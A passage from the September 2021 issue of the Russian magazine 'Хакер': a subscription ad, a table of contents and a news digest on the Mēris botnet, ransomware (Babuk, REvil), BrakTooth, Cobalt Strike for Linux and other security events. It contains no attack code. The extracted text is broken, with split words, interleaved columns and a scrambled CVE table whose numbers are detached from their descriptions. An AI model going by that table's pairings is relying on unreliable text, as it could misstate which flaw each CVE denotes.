ПОДПИСКА Мы благодарим всех, кт редакцию и помогает н авторам и редакторам и «Хакер» не мог бы суще новый подписчик делае Напомин год дост опублик год дост выходят полное (при усл возможн каждый читать н личную можно и годовой с кажды Если по ка подпи
НА «ХАКЕР» то поддерживает нам компенсировать их труд. Без вас ествовать, и каждый ет его чуть лучше. наем, что дает годовая подписка: тупа ко всем материалам, уже кованным на Xakep.ru; тупа к новым статьям, которые т по будням; отсутствие рекламы на сайте ловии, что ты залогинишься); ность скачивать выходящие й месяц номера в PDF, чтобы на любом удобном устройстве; ю скидку 20%, которую использовать для продления й подписки. Скидка накапливается ым продлением. аким-то причинам у тебя еще нет иски или она скоро кончится, спеши исправить это!
CONT MEGANews Самые важные события в мире инфосека за с Крах Freedom Hosting За что оператор сервиса получил 27 лет тюрь Android Цензура Xiaomi и сброс разрешений для всех Таймлайн всего Используем Plaso для сбора системных собы Цифровой детектив Используем Timesketch для работы с таймлай Прыжок в Sigma-лярность Используем правила Sigma в Timesketch DDoS с усилением Обходим Raw Security и пишем DDoS-утилиту Липосакция для fat binary Ломаем программу для macOS с поддержкой F#ck AMSI! Как обходят Anti-Malware Scan Interface при з В обход стражи Отлаживаем код на PHP, упакованный SourceG Like a pro Используем OSINT и цепочки атак в OWASP J Самый быстрый укол Оптимизируем Blind SQL-инъекцию HTB Sink Учимся прятать запросы HTTP и разбираемся HTB Unobtainium Учимся работать с Kubernetes в рамках пенте HTB Schooled Пентестим Moodle и делаем вредоносный пак Искусство маскировки Как мошенники прячут свои сайты в интернет Основы аудита Настраиваем журналирование важных событи Господин Микротиков Автоматизируем сбор и обработку данных с о Прочесть память Как крадут прошивку устройств и как от этого Титры Кто делает этот журнал
TENTS№ 270Сентябрь 2021 сентябрь ьмы х ытий йнами Plaso у для Windows й нескольких архитектур заражении Windows Guardian Juice Shop я с AWS Secrets Manager еста кет для FreeBSD те ий в Linux оборудования MikroTik о защищаются
Мария «Mifrill» Нефёдова [email protected] В этом месяце: комп ания «Яндекс» подв ерг лась крупн ейш ей DDoS-атаке в истор ии, основателя Group-IB арест овали и обвин яют в госизм ене, хакеры научились скрыв ать мал‐ варь с помощью видео карт, исходники шифр овальщ ика Babuk «слил и» в открыт ый доступ, разработчики Google рас‐ сказ али о планах по внедрению Manifest V3 — и еще мног о интер есного. КРУПНЕЙШИЙ DDOS В ИСТОРИИ РУНЕТА В начале сентября специалисты «Яндекса» и Qrator Labs расс казали, что «Яндекс» подв ерг ся мощнейш ей DDoS-атак е, за которой стоял новый ботн ет Mēris. Оказалось, что тот же ботнет ответст венен и за друг ие мощн ейшие DDoS- атаки посл еднего времени, пиковая мощность которых сост авлял а 21,8 млн запр осов в секунду, что являе тся новым рекорд ом: еще недавно крупн ейш ей атакой в истор ии считался DDoS мощностью 17,2 млн запросов в секунд у, который летом текущего года отразила компания Cloudflare. Исслед ователи дали ботнету имя Mēris — «чума» по‑латышс ки, так как считается, что в основном он сост оит из устройс тв латв ийской комп ании MikroTik. При этом нужн о отметить, что предс тавители MikroTik официальн о заявили: Mēris не эксп луатирует какие‑либо неизв ес‐ тные ранее и 0-day-уязв имости в RouterOS. Преи мущест венн о малварь взлам ывае т давно не обновлявш иеся устройства, используя для этог о старую уязв имость CVE-2018-14847. Вперв ые Mēris был замечен в июле 2021 года, и изначальн о спец иалисты Qrator Labs набл юдали 30 000 зараженн ых хостов, тогд а как в «Яндексе» соб‐ рали данные о 56 000 атакующих устройств. Однако предп олагается, что на самом деле количество ботов прев ышае т 200 000. « «Полная сила ботнета не видн а из‑за ротации устройс тв и отсутст вия у атак ующих желания показыв ать всю имеющуюся мощность. Более того, устройс тва в ботнете являются высокопроизв одительными, а не типичными девайс ами „интернет а вещей“, подключ енн ыми к сети Wi- Fi. С наибольшей вероятностью ботн ет состоит из девайс ов, подклю- ченн ых через Ethernet-соедин ение, — в основном, сетевых устрой- »ств», — гласил отчет компаний. Пом имо «Яндекса», за последнее врем я Mēris атаковал одного из клиентов компании Cloudflare, сайт известного ИБ‑журналист а Брайа на Кребса, а так‐ же стоял за DDoS-атаками в Новой Зеландии, из‑за которых в стран е мес‐ тами перестал работать интернет, возникли проблемы у банков, почт овых отделений и так далее. « «В наст оящий момент он [ботнет] может перегр узить практ ическ и любую сетевую инфраструкт уру, включая некотор ые сети высокой надежности, спец иальн о созд анные, чтобы выдерж ивать подобн ую нагр узку. Главн ый призн ак ботнета — чудовищный показат ель RPS [Requests Per Second, запросов в секунд у]», — предупр еждают экспер- »ты. Инт ересн о, что в конц е сентября, изуч ая ботнет Mēris, исслед ователи «Рос‐ телеком‑Солар» обратили вним ание, что зараженные устройс тва пытаются связ аться с доменом cosmosentry[.]com, который никому не прин адлежит, и быстро зарегист рировал и его на себя. Благодар я этому око‐ ло 45 000 зараженных устройств MikroTik не стали частью ботнета. « «Наша стат ист ика по геопр инадл ежност и зараженных устройс тв схож а с данн ыми в пост е „Яндекса“ (Бразилия, Индонезия, Индия, Бангла- деш). Но есть и различия (у нас больш ую часть занимае т Украина). Вероятно, у ботнета Mēris несколько серверов управлен ия и нам дос- тупна только часть устройс тв, — пишут спец иалисты «Рос- телеком‑Солар». — К сожален ию, мы не можем предп ринять никаких активных дейс твий с подконтрольн ыми нам устройствам и (у нас нет на это полн омочий). В наст оящий момент порядка 45 тысяч устройств MikroTik обращаются к нам, как к sinkhole-домену. Информация уже »передана в НКЦКИ». При этом изначально исследователи комп ании вообще не план иров али устраивать малв ари sinkhole, а изучали возм ожную связь межд у Mēris и мал‐ варью Glupteba, которая обычн о использ уется в качестве загр узчик а для дру‐ гих вредоносных прогр амм. По данным анал итик ов, Mēris начал зарождаться еще в 2018 году с помощью Glupteba, и эта малв арь до сих пор являе тся «поставщиком» новых зараженн ых устройс тв для Mēris. 5 ОКТЯБРЯ 2021 ГОДА — РЕЛИЗ WINDOWS 11 Комп ания Microsoft выпустит Windows 11 5 октября 2021 года. Новые ПК получат дост уп к Windows 11 перв ыми, а за ними последую т более старые совм естимые машины, очередн ость которых будет определен а спец иальными «интеллектуальными моделями, учит ывающими соот‐ ветствие обор удов ания треб ованиям, показатели надежности, возр аст устройс тв и друг ие фак‐ торы». В конечном итоге все совм естим ые компьютеры долж ны перейти на новую ОС к се- редин е 2022 года. В Microsoft утверждаю т, что «Windows 10 — правильн ый выбор» для стар ых систем, и напоми‐ нают, что Windows 10 будет получать обновления безопасности до 14 октября 2025 года, а на осень текущег о года запл аниров ан релиз Windows 10 21H2. ОСНОВАТЕЛЬ GROUP-IB АРЕСТОВАН 29 сентября 2021 года стала извест но об арест е основ ателя и глав ы ком‐ пании Group-IB Ильи Сачк ова, который был задерж ан на два месяца по подозр ению в госизм ене. Чуть позж е пресс‑секретарь Лефортовс кого суда Моск вы Анастасия Романова подтверд ила: «В отнош ении Сачк ова Ильи Констант иновича, подозреваемого « в соверш ении прест упления, предусмотренного ст. 275 УК РФ, избра- на мера прес ечен ия в виде заключения под стражу срок ом на один »месяц 30 суток, то есть до 27 ноября 2021 года». Нужно сказать, что наказан ие по этой статье пред усматрив ает до 20 лет лишения свободы. В настоящее врем я Сачк ов находится в СИЗО, и известно лишь, что материа лы этог о уголовн ого дела засекречены. Пресс‑секретарь президент а России Дмитрий Песков прокомментировал арест Сачкова, заявив, что происход ящее не имее т отношения к деловом у и инвестиц ионному климату. «Это не имеет никакого отнош ения к деловому и инвестиц ионному « клим ату в нашей стране, вы видите, что обвин ения не связаны с эко- номикой, а связаны с госизменой», — сказал Песк ов, но отмет ил, что »в Кремл е «не располагаю т деталям и». Как сообщ ил телеканал RTVI, в ночь на 29 сент ября в моск овской штаб‑квар‐ тире Group-IB провели обыск сотр удники ФСБ, и эту информацию позж е под‐ тверд или предс тавители компании. Журналист ы, приехавшие к офису ком‐ пании на Шарикоподш ипник овс кой улице, обнар ужил и, что у входа в здание стоят пасс ажирский автоб ус и минивен с тониров анн ыми стеклами и вклю‐ ченными габаритами. « «Человек в штатском перетаск ивал вещи из офис а в автоб ус, а на прох одн ой в самом здании корр еспондентов встрет или двое воору- женн ых мужчин в такт ическ ой одежд е расцветк и мультикам и маск ах на лице. Они сказали корр еспонд ентам, что не пустят внутрь и не »будут комм ентир овать происход ящее в офис е», — рассказ ывает RTVI. По данн ым ТАСС и их собст венн ых источник ов в силовых структурах, Сачков не призн ает вину в государст венной измен е, а такж е не призн ает, что сот‐ руднич ал с разведкой иностранн ых государств. Компания Group-IB опубликовал а официальное заявл ение о прои схо‐ дящем. В частности сообщ ается, что руководст во компание й врем енно возь‐ мет на себя втор ой основатель Group-IB Дмитрий Волк ов. « «На данный момент юрист ы Group-IB, одного из ведущих разработ- чиков решений для детект ирован ия и предотвращ ения киберат ак, выявл ения мошенничест ва, исслед ования высокот ехнологичн ых прес- туплений и защиты интеллект уальн ой собственн ости в сети, изуч ают пост ановление Лефорт овского районного суда города Москвы от 28.09.2021 года в отношении основател я и генеральн ого директ ора Group-IB Ильи Сачкова. Сотрудники уверены в невиновности своего руководителя и его чес- тной деловой репутации. Все подр азделения Group-IB работаю т в штатн ом в режиме. Комп ания благодар ит клиентов, парт нер ов и журн алистов за подд ержку», — гла- »сит официальн ый пресс‑релиз. БРУТФОРС НЕ УСТАРЕВАЕТ Спец иалисты «Лаборатории Касп ерского» подготовили анал итическ ий отчет, посвященн ый реагирован ию на инцид енты. Исследоват ели пришл и к выводу, что в 2020 году для прон ик‐ новения в сети орган изац ий хакеры чаще всего использ овали брутф орс. В прошлом году изученные комп ание й инцид енты в основном были связ аны с кражей денег, утечк ами данн ых, атаками шифровальщиков и подозрительной активностью в сети. Дол я брутфорс‑атак по всему миру выросла с 13% до почт и 32% (по сравнению с 2019 годом). Эксперты связ ывают это с масс овым переходом комп аний на дистанционную работу в услов иях панд емии и более част ым использ ованием прот окола RDP. Второй по распространенн ости метод проникн овения в сист ему — эксплуатац ия уязвимост ей. Доля таких инцид ентов сост авила 31,5%. Более половин ы всех атак были обнаружен ы в течение нескольк их часов (18%) или дней (55%). Инцид енты длились в среднем окол о 90 дней. В подавляющем большинстве случаев злоумышленники использ овали давн о извест ные, но не закр ытые на корп оративн ых устройствах баги, включая CVE-2019-11510, CVE-2018-8453 и CVE-2017-0144. CVE Обл асть при‐ Опис ание менения CVE- 2020- SMB-серв ис Уязв имость в сервисе SMBv3 позв оляет удаленно исполнять 0796 в Microsoft прои звольн ый код без предварительной аутентификации. Windows Насл едник уязв имост и МS17-010. CVE- 2018- Комп онент Уязв имость позв оляет повысить привилегии во врем я обра‐ 8453 Win32k ботк и объектов в памяти. Использ овалась группой Microsoft FruityArmor. CVE- 2020- Windows Уязв имость позв оляе т повысить привилег ии. Широко исполь‐ 0787 Background зуется шифровальщ иками. Intelligent CVE- Transfer Service 2017- (BITS) 0144 SМВ серв ис Уязвимость в сервисе SMBv1, позв оляю щая атакующим CVE- в Microsoft исполнять код через отправку сетевых пакетов. Использ уется 2019- Windows в эксп лоите EternalBlue. 11510 Pulse Secure Атак уюший без аутентификации может получить учетные дан‐ CVE- SSL VPN ные польз ователя VРN-серв ера. Мгновенн ый дост уп к орга‐ 2017- низац ии‑жерт ве по легитимному каналу. 11317 Telerik.Web.UI Уязв имость использует ошибку в функции шифр ования CVE- RadAsyncUpload, которая позв оляе т прим енить удал енные 2019- загрузку файлов и исполнение кода. 0604 Microsoft Уязв имость позв оляе т удал енно исполнять прои звольный код CVE- SharePoint без предв арительной аутентификации в Microsoft SharePoint. 2017- 8464 Microsoft Позволяет локальным пользовател ям или удаленн ому ата‐ Windows Shell кующем у исполнять код путем специально подг отовл енных LNK-файл ов, обраб атываемых приложен иями при отоб‐ ражении икон ок. Применяе тся при атаках LemonDuck. COBALT STRIKE BEACON ДЛЯ LINUX Эксперт ы комп ании Intezer Lab обнаружил и Vermilion Strike — адапт ированную для Linux вариацию Cobalt Strike Beacon, которую хакеры уже использ уют в атаках против орган изаций по всем у миру. Cobalt Strike — легитимный коммерческий инст румент, созд анный для пент естер ов и red team и орие нтир ованн ый на эксп луа тац ию и постэкс‐ плуатац ию. К сожален ию, он давн о любим хакерам и, начиная от прав итель‐ ственн ых APT-групп ировок и заканчивая оператор ами шифр овальщ иков. Хотя он недост упен для рядовых польз ователей и полн ая верс ия оценивае тся при‐ мерно в 3500 долларов за устан овку, злоу мышл енники все равн о находят спос обы его использ овать (к примеру, полагаются на стар ые, пиратс кие, взломанные и незарег истрир ованн ые верс ии). Обычн о преступник и использ уют Cobalt Strike для постэксп луатации, пос‐ ле развертыв ания так называемых маяков (beacon), которые обеспечивают устойчивый удаленн ый доступ к скомпрометированным устройс твам. Исполь‐ зуя маяки, хакеры могут получить доступ к взлом анн ым системам для пос‐ ледую щег о сбора данн ых или развертывания дополн ительн ой малвари. Однако, с точк и зрен ия преступник ов, у Cobalt Strike всегда был один серьезный недостаток. Дело в том, что он поддержив ает тольк о Windows, но не Linux. Но, судя по отчету Intezer Lab, теперь это изменилось. Вперв ые исследователи заметили новую реализацию маяка в августе текущего года и дали этом у явлен ию название Vermilion Strike. В комп ании подчеркивают, что ELF-бинарн ик Cobalt Strike пока не обнаружив аетс я анти‐ вирусн ыми решения ми. По сути, Vermilion Strike использ ует тот же форм ат конф игурации, что и маяк для Windows, он может взаи мод ейс твовать со всеми серв ерами Cobalt Strike, однак о не использует код Cobalt Strike. Хуже того, эксперты считают, что тот же разр аботчик перепис ал ориг инальн ую версию маяка для Windows, чтоб ы лучш е избегать обнар ужен ия. Использ уя телеметр ию, пред ост авленн ую McAfee Enterprise ATR, исслед ова‐ тели выяснили, что Vermilion Strike используется для атак с августа 2021 года. Преступники нацелены на самые разн ые компании и организации, от телеко‐ мов и государственных учрежден ий до ИТ‑компаний, финансовых учреждений и консалтинговых фирм по всему миру. НЕ ОЧЕНЬ АНОНИМНЫЙ PROTONMAIL Вокруг защищенного почтового сервиса ProtonMail разг орелс я сканд ал: руководство сервиса призналось, что недавно было вынужд ено сохр анить IP-адрес одного из свои х клие нтов и передать его правоохр анительн ым органам, так как ProtonMail получил соответствующее рас‐ поряжение от швейцарских властей, которое невозможно было обжаловать или отклон ить. В итоге комп ания даже внесл а измен ения в политик у конф иденц иальн ости, заменив фразу «мы не ведем логи IP-адрес ов» на формулировк у: «ProtonMail — это элект ронн ая почт а, которая уваж ает конфиденц иальн ость и ставит людей (а не рекл амодат елей) на первое мест о» → «Неважн о, какой серв ис вы использ уете, если он не находится в 15 милях от берега в межд ународн ых водах, комп ания будет обяз ана соблюдать закон. Proton может быть обяз ан собирать информац ию об учетных записях, при‐ надлежащих польз овател ям, которые находятся под уголовным расслед ован ием в Швейцарии. Очев идно, что это делается не по умолчанию, а лишь в том слу‐ чае, если Proton получае т юридическ ий приказ для конк ретн ой учетн ой записи. Интернет в основном не анон имен, и если вы нарушае те закон, законоп ос‐ лушная комп ания, такая как ProtonMail, может быть юрид ическ и обязана сох‐ ранить ваш IP-адрес» — объяснил глав а ProtonMail Энди Йен (Andy Yen) в блоге компании ОПУБЛИКОВАНЫ ИСХОДНИКИ BABUK Группа исслед оват елей VX-Underground обнаружила, что на русс коязычн ом хак‑форуме был опубл икован полный исходный код шифр овальщ ика Babuk. Опубл иковавш ий исходники участник хак‑групп ы утверж дал, что у него диаг‐ ностир овал и рак легких четв ертой стад ии и он хочет успеть «пожить как человек». Нужно сказ ать, что мног ие ИБ‑эксперты считают это заявление ложью. →Продолжение статьи
← Начало статьи Babuk (он же Babuk Locker и Babyk) появилс я в начале 2021 года. Малв арь атак овал а комп ании, шифровала их данные, а ее операторы также похищал и файл ы жертв и требовал и от пострад авших двойной выкуп. Посл е атаки на Цент ральный полицейский департамент округ а Колумбия операторы Babuk привл екли к себе слишк ом мног о внимания, и в апрел е 2021 года хак‑группа сообщила, что прекращает свою деятельность. Впроч ем, вскор е неск ольк о участников той же группировки отдел ились от основной команд ы, переи мен овал и малварь в Babuk V2 и прод олж ают шифр овать файлы жертв по сей день. Издание Bleeping Computer сообщило, что файл ы, которым и теперь поделился один из участ ник ов групп ы, содержат различные проекты Visual Studio для шифрования VMware ESXi, NAS и Windows. В сущности, был опуб‐ ликован полн ый исходный код малвари, код дешифр атора, а такж е генератор закрытого и открытого ключей. Техн ическ ий директ ор компании Emsisoft и извест ный ИБ‑эксперт Фабиа н Восар, а такж е исследоват ели из McAfee Enterprise уже подт верд или, что утечка подлинная. Восар полагае т, что этот «слив» может помочь дешиф‐ ровать данные прошл ых жертв вымогат еля. 9193 МАШИНЫ В КОРПОРАТИВНЫХ СЕТЯХ РФ ЗАШИФРОВАНЫ По данн ым «Лаборатории Касп ерс ког о», с январ я по июль 2021 года шифровальщики атакова‐ ли 9193 компьютер а в разных корпоративных сетях в Росс ии. Сообщ аетс я, что больш инст во вымогат елей по‑прежнему осущ еств ляю т атаки через RDP, то есть злоумышл енник и подбира‐ ют учетн ые данн ые, подк лючаютс я к устройству и вручную запуск ают малварь. Отмечается, что количество инцид ентов с вымогательс ким ПО продолжает расти: только во втором квартале 2021 года компания обнар ужила 14 новых семейств такой малв ари. УЯЗВИМОСТИ BRAKTOOTH Групп а исслед оват елей опубликовал а информацию о 16 серьезных уяз‐ вимостях, влия ющих на стек Bluetooth во многих популярных SoC, которые применяю тся в ноутб уках, смарт фон ах, пром ышленных устройствах и IoT- девайсах. Пробл емы получил и общее название BrakTooth: они позволяю т вывест и из строя или «повесить» устройство, а в худш ем случ ае помогают выполнить прои звольн ый код и захватить всю сист ему. Специалист ы изучили библ иотеки Bluetooth для 13 разных SoC от 11 про‐ извод ител ей. Как оказ алось, одна и та же прошивк а Bluetooth использовалась более чем в 1400 SoC, которые были основ ой для самых разн ых девайс ов. Хуже того, все атаки BrakTooth можн о выполнить с помощью станд арт ног о Bluetooth-оборудов ания, стоимость которого не прев ышает 15 долларов. Авторы докл ада заявил и, что количество проблемных устройс тв исчисля‐ ется милл иард ами, хотя степ ень уязвимости зависит от SoC устройс тва и прогр аммного стека Bluetooth. Самая серьезная проблема из сост ава BrakTooth — это уязв имость CVE- 2021-28139, которая позволяет удал енн ым злоу мышленникам запуск ать собс‐ твенный вред оносный код на уязвимых устройствах поср едст вом Bluetooth LMP. По данн ым исследоват ельс кой групп ы, этот баг влияет на «умные» устройства и промышл енное обор удов ание на базе ESP32 SoC Espressif Systems, однак о проблема может сказ ываться и на мног их друг их коммерчес‐ ких продуктах. Другие баги из числ а BrakTooth менее серье зны. Напр имер, обнаружен ряд уязв имостей, которые можно использ овать для сбоя Bluetooth на смар‐ тфон ах и ноутбуках, отправл яя устройствам искаж енн ыми пакеты Bluetooth LMP. Для таких атак уязвимы ноутб уки Microsoft Surface, наст ольные компь‐ ютер ы Dell и неск олько моделей смартфонов на базе Qualcomm. Такж е зло‐ умышленники могут использовать обрезанные, увеличенные или out-of-order пакеты Bluetooth LMP, чтобы спровоцир овать «зависан ие» устройства, после чего потребуется перезагр узка вручную. Докл ад гласит, что всех прои зводител ей уязв имого обор удов ания пред уп‐ редили о проблемах еще несколько месяцев тому назад. Увы, несмотря на прошедш ее время, не все комп ании сумели вовр емя выпуст ить исправ‐ ления. На данный момент только Espressif Systems, Infineon (бывш ий Cypress) и Bluetrum выпуст или патчи, а Texas Instruments вообщ е заявил а, что не будет устран ять найденн ые недост атки. Друг ие поставщик и подтверд или выводы исслед ователей, но пока даже не назв али точн ых дат выхода патчей. Предс тав ители Bluetooth Special Interest Group, которая руководит разработ‐ кой стандарта Bluetooth, пояснили, что они освед омл ены о проблемах BrakTooth, однак о не могут оказ ывать давление на прои звод ителей в воп‐ росах выпуск а патчей, так как уязв имост и влия ют не на сам станд арт, но на конкретн ые имплемент ации вендоров. Так как патчей до сих пор нет, исследоват ельская групп а заявил а, что не планируе т обнародовать PoC-эксплои ты для BrakTooth. ПЛАТИТЬ ИЛИ НЕ ПЛАТИТЬ? Издание The Bell совм ест но с экспертами Group-IB пров ели онлайн‑исслед ование среди рос‐ сийс ких предприн имат елей, поинтересов авш ись у них, сталкивались ли они с кибератаками, защищены ли их сети от программ‑вымогателей и хорошо ли бизнесмен ы понимают, что даже такая прив ычная вещь, как элект ронная почт а, может стать точк ой входа для злоу мышленников. 77,4% росс ийс ких предприн имателей не готовы платить выкуп за расшифровку данн ых, при этом больш е половин ы опрошенн ых (51,9%) призн ают, что их комп ания «скорее не защищен а» от атак прогр амм‑вымогат елей. По результ атам опроса, 27,4% предп ринимат елей за последние два года подвергались кибератакам, тогда как больш инст во (59,4%) утверж дае т, что их эта пробл ема не коснулась — «им везло». Больш е половин ы опрошенн ых бизнесмен ов (50,9%) счит ают угрозу шифр овальщиков опас‐ ной и примерн о стольк о же (51,9%) убежд ены, что их компания «скорее не защищена» от подобных атак. Только 17,9% готовы расс таться с 5 000 000 рублей, если компанию атакует шифр овальщ ик. Еще 3,7% перевед ут злоу мышленник ам даже 10 000 000 рублей, а 1% опрошенн ых заявл яет, что не пожалее т за расш ифровку информации даже 100 000 000 рублей. При этом 33% предпринимат елей признались, что остановк а всег о на неск олько часов уже критичн а для их бизн еса, еще для 30% критичным является простой на один день. Элект ронная почта является точк ой прон икновения в сети компаний в 40–60% случ аев, и об этом знают 50% опрошенных. При этом стольк о же (50%) сообщ или, что не используют дополнительных техн ологий защиты почт ы, огран ичив аясь встрое нными возможност ями. Окол о 16% вообщ е не думаю т о том, что почт у нужно как‑то защищать. МАЛВАРЬ В ГРАФИЧЕСКИХ ПРОЦЕССОРАХ В продаже на хакерском форуме был обнар ужен эксплои т, который исполь‐ зует буфер памяти граф ического проц ессора для хран ения вредоносн ого кода и его выполн ения. В целом данн ый метод не нов и подобн ые PoC-экс‐ плоиты уже публ иковал ись ранее, однак о все эти проекты либо были реали‐ зованы исключительно в рамк ах акад емич еских исслед ований, либо оста‐ вались неполными и необр аботанн ыми. Продавец эксп лои та пишет, что его инст румент успешно скрывает вредонос‐ ный код от защитных решений, сканирую щих системную оперативн ую память. Пока он работает тольк о в Windows-сист емах, которые поддержив ают OpenCL 2.0 и выше. Автор эксплоита уверяет, что его решение протестирова‐ но и точно работае т на видео карт ах Intel (UHD 620/630), Radeon (RX 5700) и GeForce (GTX 740M, GTX 1650). Объя влен ие появилось на хак‑форуме 8 августа текущего года, а пример‐ но через две недели, 25 августа, продавец сообщил, что прод ал свой PoC, но не раск рыл никаких подробностей о соверш енной сделке. Исследователи VX-Underground заявл яют, что прод анн ый вред оносный код действительн о работает и позволяет граф ическ ому проц ессору выпол‐ нять бинарн ики. Стои т сказать, что малв арь для GPU уже созд авалась и ранее, достаточно вспомнить рутк ит JellyFish и кейл оггер Demon. Эти проекты были опубл икова‐ ны в мае 2015 года и по‑прежнему находятся в открыт ом доступе. Фунд амент для подобн ых атак и вовсе был заложен в 2013 году исслед оват елями из Инстит ута компьютерных наук, FORTH и Колумбийс кого унив ерс итета в Нью‑Йорк е. Они демонстрировали, что работу кейлогг ера можно возложить на графические проц ессоры и те будут сохранять перехв аченн ые нажатия клавиш в свое й памяти. Прод авец нового инст румента утверждает, что его разр аботка никак не связана с JellyFish, а метод отлич ается от представл енного в 2015 году, так как не полагается на маппинг кода обратно в пользовательс кое пространс‐ тво. ВОЗВРАЩЕНИЕ REVIL В сентябре вымогатель REvil (Sodinokibi) вернулся в онлайн после неск ольк их месяцев простоя: летом хак‑групп а ушла в офлайн без объя снен ия прич ин, отключив всю свою инфраструктуру. Это произошл о посл е масштабн ой атак и REvil на клиентов извест ног о поставщика MSP- решений Kaseya, а также комп ром етац ии компании JBS, которая является крупн ейшим в мире поставщик ом говядин ы и птицы. Тогд а многие эксперт ы полагал и, что групп ировка перешла грань и ею заинт ересовались власти. В прошлом предс тав итель группировки, известный под никами Unknown или UNKN, пуб‐ ликовал на хакерс ких форумах сообщения с рекламой или последние новости об опер ациях REvil. Теперь новый предс тав итель вымогат елей, зарегистрировавшийс я на этих сайт ах как REvil, верн улся к публ икация м и заявил, что, по данн ым хак‑групп ы, Unknown был арес‐ тован, а серв еры группы могл и быть скомп ром етирован ы. → «Как UNKWN (он же 8800) пропал, мы (кодеры) бэкапнулись и отключ или все сервера. Думали, что его приняли. Проб овал и искать, но безусп ешно. Подож‐ дали — он не объя вилс я и мы подняли все с бэкапов.После проп ажи UNKWN хостер писал что клирн ет‑серв ера были скомп ром етирован ы и он удал ил их сразу. Основной сервер с ключами мы отключили штатн о незадолг о посл е» — рассказ ал новый представ итель группировк и (орфография и пунк туа ция ориг инал а сох‐ ранены) ФЕЙК ПОДНЯЛ СТОИМОСТЬ LITECOIN В середине сент ября в сети расп ростран ился фальшивый пресс‑релиз Walmart, в котором говорил ось, что торговая сеть якоб ы начн ет прин имать для оплаты крипт овалют у Litecoin, что быстро подняло стои мость последней почт и на 35%. Документ содержал вымышленные цитаты главы Walmart Дуга Макм иллон а и создателя Litecoin Чарл и Ли, которые якоб ы заключили сог‐ лашение о парт нерстве. Когд а пресс‑релиз был опубл икован на GlobeNewswire, другие СМИ и сай‐ ты, в том числ е Yahoo, Bloomberg и Reuters, тоже сообщ или на свои х стра‐ ницах об этой новости, что привл екло к происходящему немало вним ания. После того как ретвит новости появился даже в офиц иальн ом Twitter крип‐ товалют ы, цена Litecoin подс кочила почт и на 35%, подн явшись с 175 до 237 долларов США. →Продолжение статьи
← Начало статьи Однако вскоре польз овател и заметили, что в пресс‑релизе использ овалс я email-адрес на домене wal-mart.com, зарегист рир ованном в прошлом месяце на Namecheap и никак не связанн ом с компание й Walmart. Тогд а ста‐ ло очев идно, что весь мир поверил фальшивке. Офиц иальн ые представители Walmart тут же поспешили сообщить, что пресс‑релиз был подделкой, и цена Litecoin быст ро верн улась к предыдущей отметке (сейч ас крипт овалюта тор‐ гуетс я на уровн е 150 долл аров США). В беседе с журн алистами Bloomberg TV глава некоммерческ ой организа‐ ции Litecoin Foundation Чарл и Ли подт вердил, что в Twitter проекта разместили фальш ивую новость о сотр удничестве с Walmart, призн ав, что в Litecoin Foundation «реальн о облажались». Ли подч ерк нул, что разр аботч ики крип‐ товалюты не имел и никаког о отношения к фикт ивном у пресс‑релизу, и пообе‐ щал выяснить, кто запуст ил такую «утку». 10 000 000 ЗАРАЖЕНИЙ GRIFTHORSE Эксперт ы Zimperium рассказ али о вред оносе GriftHorse, нацеленном на Android. Эта малв арь активна с ноябр я 2020 года и подп исывае т свои х жертв на платн ые SMS-сервисы. Она уже заразила более 10 000 000 устройс тв в 70 странах мира, и счит аетс я, что опер атор ы GriftHorse «зарабат ывают» от 1 500 000 до 4 000 000 долларов в месяц. GriftHorse расп ростран яетс я через офиц иальн ый магазин прил ожений Google Play и сторонн ие каталог и приложений, как прав ило, маск ируя сь под другие безобидн ые продукты. Суммарно исслед оват ели обнар ужили более 200 прил ожен ий, которые GriftHorse использовала для мас‐ кировки. HTTPS EVERYWHERE ПОРА НА ПОКОЙ Разр аботч ики Electronic Frontier Foundation (Фонд электронн ых рубежей) сообщ или, что намерены прекратить разработк у знам енит ого браузерн ого расширения HTTPS Everywhere, так как HTTPS используется практ ическ и пов‐ семестно, а во многих популярных браузер ах появил ись режимы HTTPS-only. Суть HTTPS Everywhere, выпущенн ого в 2010 году, проста: оно форсирует защищенн ое соедин ение через HTTPS на всех сайт ах, где это возможно. Даже если пользователь пытае тся зайт и на незащищенн ую верс ию ресурс а, расширение все равно перенапр авляе т его на HTTPS-версию, если таковая дост упна. С годами расш ирение прио брело культ овый статус сред и защит‐ ников конфиденциальн ост и и было интегрировано в Tor Browser, а затем и во многие друг ие брау зер ы, заботящиеся о приватности. Техн ическ ий директ ор EFF Алекс ис Хенк ок (Alexis Hancock) рассказывает, что с конца текущего года и в 2022 году расш ирение будет находитьс я в режиме «обслуживан ия». Это означ ает, что оно будет получать лишь незначительные исправления ошиб ок, но обойд ется без новых функций и какого‑либо разв ития. При этом оконч ательн ая дата «смерт и» HTTPS Everywhere, посл е которой обновления перест анут выходить вовс е, пока не опред елена. Так ое решение разработч ики прин яли в силу того, что в настоящее врем я около 86,6% всех сайт ов в интернет е уже поддерживают HTTPS-соединения. Прои звод ител и браузеров, включ ая Chrome и Mozilla, ранее сообщ али, что на HTTPS-трафик приходитс я от 90 до 95% всех ежедневных подключ ений. Более того, в 2020 году прои звод ители почти всех популярн ых браузеров добавил и в свои прод укты режимы HTTPS-only, работая в которых, браузер пытае тся самостоятельн о перейти с HTTP на HTTPS или отображает сооб‐ щение об ошибке, если соедин ение через HTTPS невозм ожно. По сути, теперь режимы HTTPS-only, доступные в Mozilla Firefox, Google Chrome, Microsoft Edge и Apple Safari, делаю т то же самое, чем HTTPS Everywhere занималс я более десяти лет. 1 000 000 000 ЗАГРУЗОК У TELEGRAM Анал итич еская комп ания Sensor Tower сообщила, что в прошлом месяце месс енджер Telegram стал 15 в мире прил ожением, которое дост игло отметки в 1 000 000 000 загрузок. Такж е в этот список вход ят WhatsApp, Messenger, Facebook, Instagram, Snapchat, Spotify, Netflix и дру‐ гие. Сообщается, что Telegram набирае т пользователей все быст рее: за первое полугод ие прил оже‐ ние устан овил и 214 700 000 раз, а это на 61% больше, чем за аналогичный перио д прошлого года. Большинство загрузок (22%) прих одится на Индию, второе мест о занимает Россия (10%), а замыкае т тройку Индонезия (8%). ВНЕДРЕНИЕ MANIFEST V3 Комп ания Google рассказ ала, каким именно видит поэтапн ый отказ от использования Manifest V2, который опред еляе т возм ожности и ограниче‐ ния для расширений в Chrome. Также разр аботч ики поделил ись план ами по внедр ению и доведен ию до полной функ цио нальности скандально извес‐ тного Manifest V3, который стал доступен еще в бета‑верс ии Chrome 88. Впервые о Manifest V3 заговор или еще в 2018 году. Тогда разр аботчики Google писали, что намерен ы огран ичить работу webRequest API, вместо которог о блок ировщики контента и другие расш ирения станут использ овать declarativeNetRequest. Разумее тся, сообщ алось, что эти улучш ения призв аны 